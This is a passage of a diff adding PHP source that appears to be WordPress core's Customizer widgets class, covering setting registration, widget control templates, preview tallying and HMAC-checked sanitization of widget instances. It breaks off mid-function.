+		$new_setting_ids = array();
+
+		/*
+		 * Register a setting for all widgets, including those which are active,
+		 * inactive, and orphaned since a widget may get suppressed from a sidebar
+		 * via a plugin (like Widget Visibility).
+		 */
+		foreach ( array_keys( $wp_registered_widgets ) as $widget_id ) {
+			$setting_id   = $this->get_setting_id( $widget_id );
+			$setting_args = $this->get_setting_args( $setting_id );
+			if ( ! $this->manager->get_setting( $setting_id ) ) {
+				$this->manager->add_setting( $setting_id, $setting_args );
+			}
+			$new_setting_ids[] = $setting_id;
+		}
+
+		/*
+		 * Add a setting which will be supplied for the theme's sidebars_widgets
+		 * theme_mod when the theme is switched.
+		 */
+		if ( ! $this->manager->is_theme_active() ) {
+			$setting_id = 'old_sidebars_widgets_data';
+			$setting_args = $this->get_setting_args( $setting_id, array(
+				'type' => 'global_variable',
+				'dirty' => true,
+			) );
+			$this->manager->add_setting( $setting_id, $setting_args );
+		}
+
+		$this->manager->add_panel( 'widgets', array(
+			'type'            => 'widgets',
+			'title'           => __( 'Widgets' ),
+			'description'     => __( 'Widgets are independent sections of content that can be placed into widgetized areas provided by your theme (commonly called sidebars).' ),
+			'priority'        => 110,
+			'active_callback' => array( $this, 'is_panel_active' ),
+			'auto_expand_sole_section' => true,
+		) );
+
+		foreach ( $sidebars_widgets as $sidebar_id => $sidebar_widget_ids ) {
+			if ( empty( $sidebar_widget_ids ) ) {
+				$sidebar_widget_ids = array();
+			}
+
+			$is_registered_sidebar = is_registered_sidebar( $sidebar_id );
+			$is_inactive_widgets   = ( 'wp_inactive_widgets' === $sidebar_id );
+			$is_active_sidebar     = ( $is_registered_sidebar && ! $is_inactive_widgets );
+
+			// Add setting for managing the sidebar's widgets.
+			if ( $is_registered_sidebar || $is_inactive_widgets ) {
+				$setting_id   = sprintf( 'sidebars_widgets[%s]', $sidebar_id );
+				$setting_args = $this->get_setting_args( $setting_id );
+				if ( ! $this->manager->get_setting( $setting_id ) ) {
+					if ( ! $this->manager->is_theme_active() ) {
+						$setting_args['dirty'] = true;
+					}
+					$this->manager->add_setting( $setting_id, $setting_args );
+				}
+				$new_setting_ids[] = $setting_id;
+
+				// Add section to contain controls.
+				$section_id = sprintf( 'sidebar-widgets-%s', $sidebar_id );
+				if ( $is_active_sidebar ) {
+
+					$section_args = array(
+						'title' => $wp_registered_sidebars[ $sidebar_id ]['name'],
+						'description' => $wp_registered_sidebars[ $sidebar_id ]['description'],
+						'priority' => array_search( $sidebar_id, array_keys( $wp_registered_sidebars ) ),
+						'panel' => 'widgets',
+						'sidebar_id' => $sidebar_id,
+					);
+
+					/**
+					 * Filters Customizer widget section arguments for a given sidebar.
+					 *
+					 * @since 3.9.0
+					 *
+					 * @param array      $section_args Array of Customizer widget section arguments.
+					 * @param string     $section_id   Customizer section ID.
+					 * @param int|string $sidebar_id   Sidebar ID.
+					 */
+					$section_args = apply_filters( 'customizer_widgets_section_args', $section_args, $section_id, $sidebar_id );
+
+					$section = new WP_Customize_Sidebar_Section( $this->manager, $section_id, $section_args );
+					$this->manager->add_section( $section );
+
+					$control = new WP_Widget_Area_Customize_Control( $this->manager, $setting_id, array(
+						'section'    => $section_id,
+						'sidebar_id' => $sidebar_id,
+						'priority'   => count( $sidebar_widget_ids ), // place 'Add Widget' and 'Reorder' buttons at end.
+					) );
+					$new_setting_ids[] = $setting_id;
+
+					$this->manager->add_control( $control );
+				}
+			}
+
+			// Add a control for each active widget (located in a sidebar).
+			foreach ( $sidebar_widget_ids as $i => $widget_id ) {
+
+				// Skip widgets that may have gone away due to a plugin being deactivated.
+				if ( ! $is_active_sidebar || ! isset( $wp_registered_widgets[$widget_id] ) ) {
+					continue;
+				}
+
+				$registered_widget = $wp_registered_widgets[$widget_id];
+				$setting_id        = $this->get_setting_id( $widget_id );
+				$id_base           = $wp_registered_widget_controls[$widget_id]['id_base'];
+
+				$control = new WP_Widget_Form_Customize_Control( $this->manager, $setting_id, array(
+					'label'          => $registered_widget['name'],
+					'section'        => $section_id,
+					'sidebar_id'     => $sidebar_id,
+					'widget_id'      => $widget_id,
+					'widget_id_base' => $id_base,
+					'priority'       => $i,
+					'width'          => $wp_registered_widget_controls[$widget_id]['width'],
+					'height'         => $wp_registered_widget_controls[$widget_id]['height'],
+					'is_wide'        => $this->is_wide_widget( $widget_id ),
+				) );
+				$this->manager->add_control( $control );
+			}
+		}
+
+		if ( $this->manager->settings_previewed() ) {
+			foreach ( $new_setting_ids as $new_setting_id ) {
+				$this->manager->get_setting( $new_setting_id )->preview();
+			}
+		}
+	}
+
+	/**
+	 * Determines whether the widgets panel is active, based on whether there are sidebars registered.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @see WP_Customize_Panel::$active_callback
+	 *
+	 * @global array $wp_registered_sidebars
+	 * @return bool Active.
+	 */
+	public function is_panel_active() {
+		global $wp_registered_sidebars;
+		return ! empty( $wp_registered_sidebars );
+	}
+
+	/**
+	 * Converts a widget_id into its corresponding Customizer setting ID (option name).
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $widget_id Widget ID.
+	 * @return string Maybe-parsed widget ID.
+	 */
+	public function get_setting_id( $widget_id ) {
+		$parsed_widget_id = $this->parse_widget_id( $widget_id );
+		$setting_id       = sprintf( 'widget_%s', $parsed_widget_id['id_base'] );
+
+		if ( ! is_null( $parsed_widget_id['number'] ) ) {
+			$setting_id .= sprintf( '[%d]', $parsed_widget_id['number'] );
+		}
+		return $setting_id;
+	}
+
+	/**
+	 * Determines whether the widget is considered "wide".
+	 *
+	 * Core widgets which may have controls wider than 250, but can still be shown
+	 * in the narrow Customizer panel. The RSS and Text widgets in Core, for example,
+	 * have widths of 400 and yet they still render fine in the Customizer panel.
+	 *
+	 * This method will return all Core widgets as being not wide, but this can be
+	 * overridden with the {@see 'is_wide_widget_in_customizer'} filter.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @global $wp_registered_widget_controls
+	 *
+	 * @param string $widget_id Widget ID.
+	 * @return bool Whether or not the widget is a "wide" widget.
+	 */
+	public function is_wide_widget( $widget_id ) {
+		global $wp_registered_widget_controls;
+
+		$parsed_widget_id = $this->parse_widget_id( $widget_id );
+		$width            = $wp_registered_widget_controls[$widget_id]['width'];
+		$is_core          = in_array( $parsed_widget_id['id_base'], $this->core_widget_id_bases );
+		$is_wide          = ( $width > 250 && ! $is_core );
+
+		/**
+		 * Filters whether the given widget is considered "wide".
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param bool   $is_wide   Whether the widget is wide, Default false.
+		 * @param string $widget_id Widget ID.
+		 */
+		return apply_filters( 'is_wide_widget_in_customizer', $is_wide, $widget_id );
+	}
+
+	/**
+	 * Converts a widget ID into its id_base and number components.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $widget_id Widget ID.
+	 * @return array Array containing a widget's id_base and number components.
+	 */
+	public function parse_widget_id( $widget_id ) {
+		$parsed = array(
+			'number' => null,
+			'id_base' => null,
+		);
+
+		if ( preg_match( '/^(.+)-(\d+)$/', $widget_id, $matches ) ) {
+			$parsed['id_base'] = $matches[1];
+			$parsed['number']  = intval( $matches[2] );
+		} else {
+			// likely an old single widget
+			$parsed['id_base'] = $widget_id;
+		}
+		return $parsed;
+	}
+
+	/**
+	 * Converts a widget setting ID (option path) to its id_base and number components.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $setting_id Widget setting ID.
+	 * @return WP_Error|array Array containing a widget's id_base and number components,
+	 *                        or a WP_Error object.
+	 */
+	public function parse_widget_setting_id( $setting_id ) {
+		if ( ! preg_match( '/^(widget_(.+?))(?:\[(\d+)\])?$/', $setting_id, $matches ) ) {
+			return new WP_Error( 'widget_setting_invalid_id' );
+		}
+
+		$id_base = $matches[2];
+		$number  = isset( $matches[3] ) ? intval( $matches[3] ) : null;
+
+		return compact( 'id_base', 'number' );
+	}
+
+	/**
+	 * Calls admin_print_styles-widgets.php and admin_print_styles hooks to
+	 * allow custom styles from plugins.
+	 *
+	 * @since 3.9.0
+	 */
+	public function print_styles() {
+		/** This action is documented in wp-admin/admin-header.php */
+		do_action( 'admin_print_styles-widgets.php' );
+
+		/** This action is documented in wp-admin/admin-header.php */
+		do_action( 'admin_print_styles' );
+	}
+
+	/**
+	 * Calls admin_print_scripts-widgets.php and admin_print_scripts hooks to
+	 * allow custom scripts from plugins.
+	 *
+	 * @since 3.9.0
+	 */
+	public function print_scripts() {
+		/** This action is documented in wp-admin/admin-header.php */
+		do_action( 'admin_print_scripts-widgets.php' );
+
+		/** This action is documented in wp-admin/admin-header.php */
+		do_action( 'admin_print_scripts' );
+	}
+
+	/**
+	 * Enqueues scripts and styles for Customizer panel and export data to JavaScript.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @global WP_Scripts $wp_scripts
+	 * @global array $wp_registered_sidebars
+	 * @global array $wp_registered_widgets
+	 */
+	public function enqueue_scripts() {
+		global $wp_scripts, $wp_registered_sidebars, $wp_registered_widgets;
+
+		wp_enqueue_style( 'customize-widgets' );
+		wp_enqueue_script( 'customize-widgets' );
+
+		/** This action is documented in wp-admin/admin-header.php */
+		do_action( 'admin_enqueue_scripts', 'widgets.php' );
+
+		/*
+		 * Export available widgets with control_tpl removed from model
+		 * since plugins need templates to be in the DOM.
+		 */
+		$available_widgets = array();
+
+		foreach ( $this->get_available_widgets() as $available_widget ) {
+			unset( $available_widget['control_tpl'] );
+			$available_widgets[] = $available_widget;
+		}
+
+		$widget_reorder_nav_tpl = sprintf(
+			'<div class="widget-reorder-nav"><span class="move-widget" tabindex="0">%1$s</span><span class="move-widget-down" tabindex="0">%2$s</span><span class="move-widget-up" tabindex="0">%3$s</span></div>',
+			__( 'Move to another area&hellip;' ),
+			__( 'Move down' ),
+			__( 'Move up' )
+		);
+
+		$move_widget_area_tpl = str_replace(
+			array( '{description}', '{btn}' ),
+			array(
+				__( 'Select an area to move this widget into:' ),
+				_x( 'Move', 'Move widget' ),
+			),
+			'<div class="move-widget-area">
+				<p class="description">{description}</p>
+				<ul class="widget-area-select">
+					<% _.each( sidebars, function ( sidebar ){ %>
+						<li class="" data-id="<%- sidebar.id %>" title="<%- sidebar.description %>" tabindex="0"><%- sidebar.name %></li>
+					<% }); %>
+				</ul>
+				<div class="move-widget-actions">
+					<button class="move-widget-btn button" type="button">{btn}</button>
+				</div>
+			</div>'
+		);
+
+		/*
+		 * Gather all strings in PHP that may be needed by JS on the client.
+		 * Once JS i18n is implemented (in #20491), this can be removed.
+		 */
+		$some_non_rendered_areas_messages = array();
+		$some_non_rendered_areas_messages[1] = html_entity_decode(
+			__( 'Your theme has 1 other widget area, but this particular page doesn&#8217;t display it.' ),
+			ENT_QUOTES,
+			get_bloginfo( 'charset' )
+		);
+		$registered_sidebar_count = count( $wp_registered_sidebars );
+		for ( $non_rendered_count = 2; $non_rendered_count < $registered_sidebar_count; $non_rendered_count++ ) {
+			$some_non_rendered_areas_messages[ $non_rendered_count ] = html_entity_decode( sprintf(
+				/* translators: %s: the number of other widget areas registered but not rendered */
+				_n(
+					'Your theme has %s other widget area, but this particular page doesn&#8217;t display it.',
+					'Your theme has %s other widget areas, but this particular page doesn&#8217;t display them.',
+					$non_rendered_count
+				),
+				number_format_i18n( $non_rendered_count )
+			), ENT_QUOTES, get_bloginfo( 'charset' ) );
+		}
+
+		if ( 1 === $registered_sidebar_count ) {
+			$no_areas_shown_message = html_entity_decode( sprintf(
+				__( 'Your theme has 1 widget area, but this particular page doesn&#8217;t display it.' )
+			), ENT_QUOTES, get_bloginfo( 'charset' ) );
+		} else {
+			$no_areas_shown_message = html_entity_decode( sprintf(
+				/* translators: %s: the total number of widget areas registered */
+				_n(
+					'Your theme has %s widget area, but this particular page doesn&#8217;t display it.',
+					'Your theme has %s widget areas, but this particular page doesn&#8217;t display them.',
+					$registered_sidebar_count
+				),
+				number_format_i18n( $registered_sidebar_count )
+			), ENT_QUOTES, get_bloginfo( 'charset' ) );
+		}
+
+		$settings = array(
+			'registeredSidebars'   => array_values( $wp_registered_sidebars ),
+			'registeredWidgets'    => $wp_registered_widgets,
+			'availableWidgets'     => $available_widgets, // @todo Merge this with registered_widgets
+			'l10n' => array(
+				'saveBtnLabel'     => __( 'Apply' ),
+				'saveBtnTooltip'   => __( 'Save and preview changes before publishing them.' ),
+				'removeBtnLabel'   => __( 'Remove' ),
+				'removeBtnTooltip' => __( 'Trash widget by moving it to the inactive widgets sidebar.' ),
+				'error'            => __( 'An error has occurred. Please reload the page and try again.' ),
+				'widgetMovedUp'    => __( 'Widget moved up' ),
+				'widgetMovedDown'  => __( 'Widget moved down' ),
+				'navigatePreview'  => __( 'You can navigate to other pages on your site while using the Customizer to view and edit the widgets displayed on those pages.' ),
+				'someAreasShown'   => $some_non_rendered_areas_messages,
+				'noAreasShown'     => $no_areas_shown_message,
+				'reorderModeOn'    => __( 'Reorder mode enabled' ),
+				'reorderModeOff'   => __( 'Reorder mode closed' ),
+				'reorderLabelOn'   => esc_attr__( 'Reorder widgets' ),
+				/* translators: %d: the number of widgets found */
+				'widgetsFound'     => __( 'Number of widgets found: %d' ),
+				'noWidgetsFound'   => __( 'No widgets found.' ),
+			),
+			'tpl' => array(
+				'widgetReorderNav' => $widget_reorder_nav_tpl,
+				'moveWidgetArea'   => $move_widget_area_tpl,
+			),
+			'selectiveRefreshableWidgets' => $this->get_selective_refreshable_widgets(),
+		);
+
+		foreach ( $settings['registeredWidgets'] as &$registered_widget ) {
+			unset( $registered_widget['callback'] ); // may not be JSON-serializeable
+		}
+
+		$wp_scripts->add_data(
+			'customize-widgets',
+			'data',
+			sprintf( 'var _wpCustomizeWidgetsSettings = %s;', wp_json_encode( $settings ) )
+		);
+	}
+
+	/**
+	 * Renders the widget form control templates into the DOM.
+	 *
+	 * @since 3.9.0
+	 */
+	public function output_widget_control_templates() {
+		?>
+		<div id="widgets-left"><!-- compatibility with JS which looks for widget templates here -->
+		<div id="available-widgets">
+			<div class="customize-section-title">
+				<button class="customize-section-back" tabindex="-1">
+					<span class="screen-reader-text"><?php _e( 'Back' ); ?></span>
+				</button>
+				<h3>
+					<span class="customize-action"><?php
+						/* translators: &#9656; is the unicode right-pointing triangle, and %s is the section title in the Customizer */
+						echo sprintf( __( 'Customizing &#9656; %s' ), esc_html( $this->manager->get_panel( 'widgets' )->title ) );
+					?></span>
+					<?php _e( 'Add a Widget' ); ?>
+				</h3>
+			</div>
+			<div id="available-widgets-filter">
+				<label class="screen-reader-text" for="widgets-search"><?php _e( 'Search Widgets' ); ?></label>
+				<input type="text" id="widgets-search" placeholder="<?php esc_attr_e( 'Search widgets&hellip;' ) ?>" aria-describedby="widgets-search-desc" />
+				<div class="search-icon" aria-hidden="true"></div>
+				<button type="button" class="clear-results"><span class="screen-reader-text"><?php _e( 'Clear Results' ); ?></span></button>
+				<p class="screen-reader-text" id="widgets-search-desc"><?php _e( 'The search results will be updated as you type.' ); ?></p>
+			</div>
+			<div id="available-widgets-list">
+			<?php foreach ( $this->get_available_widgets() as $available_widget ): ?>
+				<div id="widget-tpl-<?php echo esc_attr( $available_widget['id'] ) ?>" data-widget-id="<?php echo esc_attr( $available_widget['id'] ) ?>" class="widget-tpl <?php echo esc_attr( $available_widget['id'] ) ?>" tabindex="0">
+					<?php echo $available_widget['control_tpl']; ?>
+				</div>
+			<?php endforeach; ?>
+			<p class="no-widgets-found-message"><?php _e( 'No widgets found.' ); ?></p>
+			</div><!-- #available-widgets-list -->
+		</div><!-- #available-widgets -->
+		</div><!-- #widgets-left -->
+		<?php
+	}
+
+	/**
+	 * Calls admin_print_footer_scripts and admin_print_scripts hooks to
+	 * allow custom scripts from plugins.
+	 *
+	 * @since 3.9.0
+	 */
+	public function print_footer_scripts() {
+		/** This action is documented in wp-admin/admin-footer.php */
+		do_action( 'admin_print_footer_scripts-widgets.php' );
+
+		/** This action is documented in wp-admin/admin-footer.php */
+		do_action( 'admin_print_footer_scripts' );
+
+		/** This action is documented in wp-admin/admin-footer.php */
+		do_action( 'admin_footer-widgets.php' );
+	}
+
+	/**
+	 * Retrieves common arguments to supply when constructing a Customizer setting.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $id        Widget setting ID.
+	 * @param array  $overrides Array of setting overrides.
+	 * @return array Possibly modified setting arguments.
+	 */
+	public function get_setting_args( $id, $overrides = array() ) {
+		$args = array(
+			'type'       => 'option',
+			'capability' => 'edit_theme_options',
+			'default'    => array(),
+		);
+
+		if ( preg_match( $this->setting_id_patterns['sidebar_widgets'], $id, $matches ) ) {
+			$args['sanitize_callback'] = array( $this, 'sanitize_sidebar_widgets' );
+			$args['sanitize_js_callback'] = array( $this, 'sanitize_sidebar_widgets_js_instance' );
+			$args['transport'] = current_theme_supports( 'customize-selective-refresh-widgets' ) ? 'postMessage' : 'refresh';
+		} elseif ( preg_match( $this->setting_id_patterns['widget_instance'], $id, $matches ) ) {
+			$args['sanitize_callback'] = array( $this, 'sanitize_widget_instance' );
+			$args['sanitize_js_callback'] = array( $this, 'sanitize_widget_js_instance' );
+			$args['transport'] = $this->is_widget_selective_refreshable( $matches['id_base'] ) ? 'postMessage' : 'refresh';
+		}
+
+		$args = array_merge( $args, $overrides );
+
+		/**
+		 * Filters the common arguments supplied when constructing a Customizer setting.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @see WP_Customize_Setting
+		 *
+		 * @param array  $args Array of Customizer setting arguments.
+		 * @param string $id   Widget setting ID.
+		 */
+		return apply_filters( 'widget_customizer_setting_args', $args, $id );
+	}
+
+	/**
+	 * Ensures sidebar widget arrays only ever contain widget IDS.
+	 *
+	 * Used as the 'sanitize_callback' for each $sidebars_widgets setting.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array $widget_ids Array of widget IDs.
+	 * @return array Array of sanitized widget IDs.
+	 */
+	public function sanitize_sidebar_widgets( $widget_ids ) {
+		$widget_ids = array_map( 'strval', (array) $widget_ids );
+		$sanitized_widget_ids = array();
+		foreach ( $widget_ids as $widget_id ) {
+			$sanitized_widget_ids[] = preg_replace( '/[^a-z0-9_\-]/', '', $widget_id );
+		}
+		return $sanitized_widget_ids;
+	}
+
+	/**
+	 * Builds up an index of all available widgets for use in Backbone models.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @global array $wp_registered_widgets
+	 * @global array $wp_registered_widget_controls
+	 * @staticvar array $available_widgets
+	 *
+	 * @see wp_list_widgets()
+	 *
+	 * @return array List of available widgets.
+	 */
+	public function get_available_widgets() {
+		static $available_widgets = array();
+		if ( ! empty( $available_widgets ) ) {
+			return $available_widgets;
+		}
+
+		global $wp_registered_widgets, $wp_registered_widget_controls;
+		require_once ABSPATH . '/wp-admin/includes/widgets.php'; // for next_widget_id_number()
+
+		$sort = $wp_registered_widgets;
+		usort( $sort, array( $this, '_sort_name_callback' ) );
+		$done = array();
+
+		foreach ( $sort as $widget ) {
+			if ( in_array( $widget['callback'], $done, true ) ) { // We already showed this multi-widget
+				continue;
+			}
+
+			$sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false );
+			$done[]  = $widget['callback'];
+
+			if ( ! isset( $widget['params'][0] ) ) {
+				$widget['params'][0] = array();
+			}
+
+			$available_widget = $widget;
+			unset( $available_widget['callback'] ); // not serializable to JSON
+
+			$args = array(
+				'widget_id'   => $widget['id'],
+				'widget_name' => $widget['name'],
+				'_display'    => 'template',
+			);
+
+			$is_disabled     = false;
+			$is_multi_widget = ( isset( $wp_registered_widget_controls[$widget['id']]['id_base'] ) && isset( $widget['params'][0]['number'] ) );
+			if ( $is_multi_widget ) {
+				$id_base            = $wp_registered_widget_controls[$widget['id']]['id_base'];
+				$args['_temp_id']   = "$id_base-__i__";
+				$args['_multi_num'] = next_widget_id_number( $id_base );
+				$args['_add']       = 'multi';
+			} else {
+				$args['_add'] = 'single';
+
+				if ( $sidebar && 'wp_inactive_widgets' !== $sidebar ) {
+					$is_disabled = true;
+				}
+				$id_base = $widget['id'];
+			}
+
+			$list_widget_controls_args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) );
+			$control_tpl = $this->get_widget_control( $list_widget_controls_args );
+
+			// The properties here are mapped to the Backbone Widget model.
+			$available_widget = array_merge( $available_widget, array(
+				'temp_id'      => isset( $args['_temp_id'] ) ? $args['_temp_id'] : null,
+				'is_multi'     => $is_multi_widget,
+				'control_tpl'  => $control_tpl,
+				'multi_number' => ( $args['_add'] === 'multi' ) ? $args['_multi_num'] : false,
+				'is_disabled'  => $is_disabled,
+				'id_base'      => $id_base,
+				'transport'    => $this->is_widget_selective_refreshable( $id_base ) ? 'postMessage' : 'refresh',
+				'width'        => $wp_registered_widget_controls[$widget['id']]['width'],
+				'height'       => $wp_registered_widget_controls[$widget['id']]['height'],
+				'is_wide'      => $this->is_wide_widget( $widget['id'] ),
+			) );
+
+			$available_widgets[] = $available_widget;
+		}
+
+		return $available_widgets;
+	}
+
+	/**
+	 * Naturally orders available widgets by name.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array $widget_a The first widget to compare.
+	 * @param array $widget_b The second widget to compare.
+	 * @return int Reorder position for the current widget comparison.
+	 */
+	protected function _sort_name_callback( $widget_a, $widget_b ) {
+		return strnatcasecmp( $widget_a['name'], $widget_b['name'] );
+	}
+
+	/**
+	 * Retrieves the widget control markup.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array $args Widget control arguments.
+	 * @return string Widget control form HTML markup.
+	 */
+	public function get_widget_control( $args ) {
+		$args[0]['before_form'] = '<div class="form">';
+		$args[0]['after_form'] = '</div><!-- .form -->';
+		$args[0]['before_widget_content'] = '<div class="widget-content">';
+		$args[0]['after_widget_content'] = '</div><!-- .widget-content -->';
+		ob_start();
+		call_user_func_array( 'wp_widget_control', $args );
+		$control_tpl = ob_get_clean();
+		return $control_tpl;
+	}
+
+	/**
+	 * Retrieves the widget control markup parts.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $args Widget control arguments.
+	 * @return array {
+	 *     @type string $control Markup for widget control wrapping form.
+	 *     @type string $content The contents of the widget form itself.
+	 * }
+	 */
+	public function get_widget_control_parts( $args ) {
+		$args[0]['before_widget_content'] = '<div class="widget-content">';
+		$args[0]['after_widget_content'] = '</div><!-- .widget-content -->';
+		$control_markup = $this->get_widget_control( $args );
+
+		$content_start_pos = strpos( $control_markup, $args[0]['before_widget_content'] );
+		$content_end_pos = strrpos( $control_markup, $args[0]['after_widget_content'] );
+
+		$control = substr( $control_markup, 0, $content_start_pos + strlen( $args[0]['before_widget_content'] ) );
+		$control .= substr( $control_markup, $content_end_pos );
+		$content = trim( substr(
+			$control_markup,
+			$content_start_pos + strlen( $args[0]['before_widget_content'] ),
+			$content_end_pos - $content_start_pos - strlen( $args[0]['before_widget_content'] )
+		) );
+
+		return compact( 'control', 'content' );
+	}
+
+	/**
+	 * Adds hooks for the Customizer preview.
+	 *
+	 * @since 3.9.0
+	 */
+	public function customize_preview_init() {
+		add_action( 'wp_enqueue_scripts', array( $this, 'customize_preview_enqueue' ) );
+		add_action( 'wp_print_styles',    array( $this, 'print_preview_css' ), 1 );
+		add_action( 'wp_footer',          array( $this, 'export_preview_data' ), 20 );
+	}
+
+	/**
+	 * Refreshes the nonce for widget updates.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param  array $nonces Array of nonces.
+	 * @return array $nonces Array of nonces.
+	 */
+	public function refresh_nonces( $nonces ) {
+		$nonces['update-widget'] = wp_create_nonce( 'update-widget' );
+		return $nonces;
+	}
+
+	/**
+	 * When previewing, ensures the proper previewing widgets are used.
+	 *
+	 * Because wp_get_sidebars_widgets() gets called early at {@see 'init' } (via
+	 * wp_convert_widget_settings()) and can set global variable `$_wp_sidebars_widgets`
+	 * to the value of `get_option( 'sidebars_widgets' )` before the Customizer preview
+	 * filter is added, it has to be reset after the filter has been added.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array $sidebars_widgets List of widgets for the current sidebar.
+	 * @return array
+	 */
+	public function preview_sidebars_widgets( $sidebars_widgets ) {
+		$sidebars_widgets = get_option( 'sidebars_widgets', array() );
+
+		unset( $sidebars_widgets['array_version'] );
+		return $sidebars_widgets;
+	}
+
+	/**
+	 * Enqueues scripts for the Customizer preview.
+	 *
+	 * @since 3.9.0
+	 */
+	public function customize_preview_enqueue() {
+		wp_enqueue_script( 'customize-preview-widgets' );
+	}
+
+	/**
+	 * Inserts default style for highlighted widget at early point so theme
+	 * stylesheet can override.
+	 *
+	 * @since 3.9.0
+	 */
+	public function print_preview_css() {
+		?>
+		<style>
+		.widget-customizer-highlighted-widget {
+			outline: none;
+			-webkit-box-shadow: 0 0 2px rgba(30,140,190,0.8);
+			box-shadow: 0 0 2px rgba(30,140,190,0.8);
+			position: relative;
+			z-index: 1;
+		}
+		</style>
+		<?php
+	}
+
+	/**
+	 * Communicates the sidebars that appeared on the page at the very end of the page,
+	 * and at the very end of the wp_footer,
+	 *
+	 * @since 3.9.0
+     *
+	 * @global array $wp_registered_sidebars
+	 * @global array $wp_registered_widgets
+	 */
+	public function export_preview_data() {
+		global $wp_registered_sidebars, $wp_registered_widgets;
+
+		$switched_locale = switch_to_locale( get_user_locale() );
+		$l10n = array(
+			'widgetTooltip'  => __( 'Shift-click to edit this widget.' ),
+		);
+		if ( $switched_locale ) {
+			restore_previous_locale();
+		}
+
+		// Prepare Customizer settings to pass to JavaScript.
+		$settings = array(
+			'renderedSidebars'   => array_fill_keys( array_unique( $this->rendered_sidebars ), true ),
+			'renderedWidgets'    => array_fill_keys( array_keys( $this->rendered_widgets ), true ),
+			'registeredSidebars' => array_values( $wp_registered_sidebars ),
+			'registeredWidgets'  => $wp_registered_widgets,
+			'l10n'               => $l10n,
+			'selectiveRefreshableWidgets' => $this->get_selective_refreshable_widgets(),
+		);
+		foreach ( $settings['registeredWidgets'] as &$registered_widget ) {
+			unset( $registered_widget['callback'] ); // may not be JSON-serializeable
+		}
+
+		?>
+		<script type="text/javascript">
+			var _wpWidgetCustomizerPreviewSettings = <?php echo wp_json_encode( $settings ); ?>;
+		</script>
+		<?php
+	}
+
+	/**
+	 * Tracks the widgets that were rendered.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array $widget Rendered widget to tally.
+	 */
+	public function tally_rendered_widgets( $widget ) {
+		$this->rendered_widgets[ $widget['id'] ] = true;
+	}
+
+	/**
+	 * Determine if a widget is rendered on the page.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $widget_id Widget ID to check.
+	 * @return bool Whether the widget is rendered.
+	 */
+	public function is_widget_rendered( $widget_id ) {
+		return in_array( $widget_id, $this->rendered_widgets );
+	}
+
+	/**
+	 * Determines if a sidebar is rendered on the page.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $sidebar_id Sidebar ID to check.
+	 * @return bool Whether the sidebar is rendered.
+	 */
+	public function is_sidebar_rendered( $sidebar_id ) {
+		return in_array( $sidebar_id, $this->rendered_sidebars );
+	}
+
+	/**
+	 * Tallies the sidebars rendered via is_active_sidebar().
+	 *
+	 * Keep track of the times that is_active_sidebar() is called in the template,
+	 * and assume that this means that the sidebar would be rendered on the template
+	 * if there were widgets populating it.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param bool   $is_active  Whether the sidebar is active.
+	 * @param string $sidebar_id Sidebar ID.
+	 * @return bool Whether the sidebar is active.
+	 */
+	public function tally_sidebars_via_is_active_sidebar_calls( $is_active, $sidebar_id ) {
+		if ( is_registered_sidebar( $sidebar_id ) ) {
+			$this->rendered_sidebars[] = $sidebar_id;
+		}
+		/*
+		 * We may need to force this to true, and also force-true the value
+		 * for 'dynamic_sidebar_has_widgets' if we want to ensure that there
+		 * is an area to drop widgets into, if the sidebar is empty.
+		 */
+		return $is_active;
+	}
+
+	/**
+	 * Tallies the sidebars rendered via dynamic_sidebar().
+	 *
+	 * Keep track of the times that dynamic_sidebar() is called in the template,
+	 * and assume this means the sidebar would be rendered on the template if
+	 * there were widgets populating it.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param bool   $has_widgets Whether the current sidebar has widgets.
+	 * @param string $sidebar_id  Sidebar ID.
+	 * @return bool Whether the current sidebar has widgets.
+	 */
+	public function tally_sidebars_via_dynamic_sidebar_calls( $has_widgets, $sidebar_id ) {
+		if ( is_registered_sidebar( $sidebar_id ) ) {
+			$this->rendered_sidebars[] = $sidebar_id;
+		}
+
+		/*
+		 * We may need to force this to true, and also force-true the value
+		 * for 'is_active_sidebar' if we want to ensure there is an area to
+		 * drop widgets into, if the sidebar is empty.
+		 */
+		return $has_widgets;
+	}
+
+	/**
+	 * Retrieves MAC for a serialized widget instance string.
+	 *
+	 * Allows values posted back from JS to be rejected if any tampering of the
+	 * data has occurred.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $serialized_instance Widget instance.
+	 * @return string MAC for serialized widget instance.
+	 */
+	protected function get_instance_hash_key( $serialized_instance ) {
+		return wp_hash( $serialized_instance );
+	}
+
+	/**
+	 * Sanitizes a widget instance.
+	 *
+	 * Unserialize the JS-instance for storing in the options. It's important that this filter
+	 * only get applied to an instance *once*.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array $value Widget instance to sanitize.
+	 * @return array|void Sanitized widget instance.
+	 */
+	public function sanitize_widget_instance( $value ) {
+		if ( $value === array() ) {
+			return $value;
+		}
+
+		if ( empty( $value['is_widget_customizer_js_value'] )
+			|| empty( $value['instance_hash_key'] )
+			|| empty( $value['encoded_serialized_instance'] ) )
+		{
+			return;
+		}
+
+		$decoded = base64_decode( $value['encoded_serialized_instance'], true );
+		if ( false === $decoded ) {
+			return;
+		}
+
+		if ( ! hash_equals( $this->get_instance_hash_key( $decoded ), $value['instance_hash_key'] ) ) {
+			return;
+		}
+
+		$instance = unserialize( $decoded );
